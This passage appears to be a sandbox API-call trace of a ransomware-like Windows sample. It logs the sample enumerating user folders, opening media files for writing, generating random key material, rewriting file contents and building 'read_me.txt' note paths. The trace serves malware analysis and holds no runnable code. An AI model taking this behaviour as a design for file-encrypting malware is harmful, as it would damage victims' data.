hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ad15970, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ad15970, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.805] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\..") returned 45 [0078.805] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0078.805] wnsprintfW (in: pszDest=0x4312140, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned 54 [0078.805] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa40 [0078.805] GetProcessHeap () returned 0x540000 [0078.805] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x43c0008 [0078.805] wnsprintfW (in: pszDest=0x43c0008, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*") returned 42 [0078.805] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ad15970, ftCreationTime.dwHighDateTime=0x1d59fdd, ftLastAccessTime.dwLowDateTime=0x1ad15970, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ad15970, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x6b3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="read_me.txt", cAlternateFileName="")) returned 0xffffffff [0078.805] wnsprintfW (in: pszDest=0x43c0008, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\read_me.txt") returned 52 [0078.805] GetProcessHeap () returned 0x540000 [0078.805] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x43c0008 | out: hHeap=0x540000) returned 1 [0078.805] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 71 [0078.805] GetProcessHeap () returned 0x540000 [0078.806] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x43d0090 | out: hHeap=0x540000) returned 1 [0078.807] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.814] ReadFile (in: hFile=0x7a8, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0078.814] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.814] GetProcessHeap () returned 0x540000 [0078.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0078.814] GetProcessHeap () returned 0x540000 [0078.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0078.814] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0078.814] GetProcessHeap () returned 0x540000 [0078.814] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0078.814] ReadFile (in: hFile=0x7a8, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x2c5fd08*=0x14, lpOverlapped=0x0) returned 1 [0078.816] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0xffffffec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.816] WriteFile (in: hFile=0x7a8, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x2c5fd44*=0x14, lpOverlapped=0x0) returned 1 [0078.816] GetProcessHeap () returned 0x540000 [0078.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0078.816] GetProcessHeap () returned 0x540000 [0078.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.816] GetProcessHeap () returned 0x540000 [0078.816] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0078.816] GetProcessHeap () returned 0x540000 [0078.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.816] GetProcessHeap () returned 0x540000 [0078.816] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0078.816] GetProcessHeap () returned 0x540000 [0078.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0078.816] GetProcessHeap () returned 0x540000 [0078.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.816] GetProcessHeap () returned 0x540000 [0078.816] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.816] GetProcessHeap () returned 0x540000 [0078.816] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.816] GetProcessHeap () returned 0x540000 [0078.816] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.816] GetProcessHeap () returned 0x540000 [0078.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.817] GetProcessHeap () returned 0x540000 [0078.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.818] GetProcessHeap () returned 0x540000 [0078.818] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0078.819] GetProcessHeap () returned 0x540000 [0078.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.819] GetProcessHeap () returned 0x540000 [0078.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.819] GetProcessHeap () returned 0x540000 [0078.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.819] GetProcessHeap () returned 0x540000 [0078.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.819] GetProcessHeap () returned 0x540000 [0078.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.819] GetProcessHeap () returned 0x540000 [0078.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.819] GetProcessHeap () returned 0x540000 [0078.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.819] GetProcessHeap () returned 0x540000 [0078.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.819] GetProcessHeap () returned 0x540000 [0078.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.819] GetProcessHeap () returned 0x540000 [0078.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.819] GetProcessHeap () returned 0x540000 [0078.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.819] GetProcessHeap () returned 0x540000 [0078.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.819] GetProcessHeap () returned 0x540000 [0078.819] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.819] GetProcessHeap () returned 0x540000 [0078.819] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.819] GetProcessHeap () returned 0x540000 [0078.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0078.820] GetProcessHeap () returned 0x540000 [0078.820] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0078.821] SetFilePointerEx (in: hFile=0x7a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.821] WriteFile (in: hFile=0x7a8, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0078.821] WriteFile (in: hFile=0x7a8, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0078.821] GetProcessHeap () returned 0x540000 [0078.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0078.821] GetProcessHeap () returned 0x540000 [0078.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0078.821] GetProcessHeap () returned 0x540000 [0078.821] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0078.821] CloseHandle (hObject=0x7a8) returned 1 [0078.822] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 5 [0078.822] GetProcessHeap () returned 0x540000 [0078.822] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x43d0010 [0078.822] wnsprintfW (in: pszDest=0x43d0010, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*") returned 46 [0078.822] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2000002, ftCreationTime.dwLowDateTime=0x333fa70, ftCreationTime.dwHighDateTime=0x540150, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x540000, ftLastWriteTime.dwLowDateTime=0x540150, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x41b1088, nFileSizeLow=0x540150, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="ႀЛ", cAlternateFileName="")) returned 0xffffffff [0078.822] wnsprintfW (in: pszDest=0x43d0010, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\read_me.txt") returned 56 [0078.822] GetProcessHeap () returned 0x540000 [0078.822] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x43d0010 | out: hHeap=0x540000) returned 1 [0078.822] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 72 [0078.822] GetProcessHeap () returned 0x540000 [0078.822] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4191078 | out: hHeap=0x540000) returned 1 [0078.822] GetProcessHeap () returned 0x540000 [0078.822] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4191078 [0078.822] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*") returned 45 [0078.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x2000002, ftCreationTime.dwLowDateTime=0x333fa70, ftCreationTime.dwHighDateTime=0x540150, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x540000, ftLastWriteTime.dwLowDateTime=0x540150, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x41b1088, nFileSizeLow=0x540150, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="ႀЛ", cAlternateFileName="")) returned 0xffffffff [0078.823] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\read_me.txt") returned 55 [0078.823] GetProcessHeap () returned 0x540000 [0078.823] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4191078 | out: hHeap=0x540000) returned 1 [0078.823] InterlockedExchangeAdd (in: Addend=0x40f16c, Value=1 | out: Addend=0x40f16c) returned 73 [0078.823] GetProcessHeap () returned 0x540000 [0078.823] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x43e0098 | out: hHeap=0x540000) returned 1 [0078.823] GetProcessHeap () returned 0x540000 [0078.823] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4191078 [0078.823] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*") returned 42 [0078.823] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0078.823] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\.") returned 42 [0078.823] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="..", cAlternateFileName="")) returned 1 [0078.823] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\..") returned 43 [0078.823] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b795770, ftCreationTime.dwHighDateTime=0x1d4d2f4, ftLastAccessTime.dwLowDateTime=0xb61bd920, ftLastAccessTime.dwHighDateTime=0x1d4cc2d, ftLastWriteTime.dwLowDateTime=0xb61bd920, ftLastWriteTime.dwHighDateTime=0x1d4cc2d, nFileSizeHigh=0x0, nFileSizeLow=0x68f5, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="2Vo8Hk5yX.mkv", cAlternateFileName="2VO8HK~1.MKV")) returned 1 [0078.823] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2Vo8Hk5yX.mkv") returned 54 [0078.823] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2Vo8Hk5yX.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2vo8hk5yx.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b0 [0078.823] QueueUserWorkItem (Function=0x404e00, Context=0x7b0, Flags=0x0) returned 1 [0078.823] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d79d460, ftCreationTime.dwHighDateTime=0x1d4ceac, ftLastAccessTime.dwLowDateTime=0xa6096bd0, ftLastAccessTime.dwHighDateTime=0x1d4d257, ftLastWriteTime.dwLowDateTime=0xa6096bd0, ftLastWriteTime.dwHighDateTime=0x1d4d257, nFileSizeHigh=0x0, nFileSizeLow=0x13d97, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="78BO _xQ.flv", cAlternateFileName="78BO_X~1.FLV")) returned 1 [0078.823] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\78BO _xQ.flv") returned 53 [0078.823] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\78BO _xQ.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\78bo _xq.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8f4 [0078.824] QueueUserWorkItem (Function=0x404e00, Context=0x8f4, Flags=0x0) returned 1 [0078.824] FindNextFileW (in: hFindFile=0x32fc248, lpFindFileData=0x2c5fb60 | out: lpFindFileData=0x2c5fb60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6208c7f0, ftCreationTime.dwHighDateTime=0x1d4d428, ftLastAccessTime.dwLowDateTime=0x3c80b9b0, ftLastAccessTime.dwHighDateTime=0x1d4d005, ftLastWriteTime.dwLowDateTime=0x3c80b9b0, ftLastWriteTime.dwHighDateTime=0x1d4d005, nFileSizeHigh=0x0, nFileSizeLow=0x218c, dwReserved0=0x2000002, dwReserved1=0x540000, cFileName="9phF_dAyq.swf", cAlternateFileName="9PHF_D~1.SWF")) returned 1 [0078.824] wnsprintfW (in: pszDest=0x4191078, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9phF_dAyq.swf") returned 54 [0078.824] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\9phF_dAyq.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\9phf_dayq.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 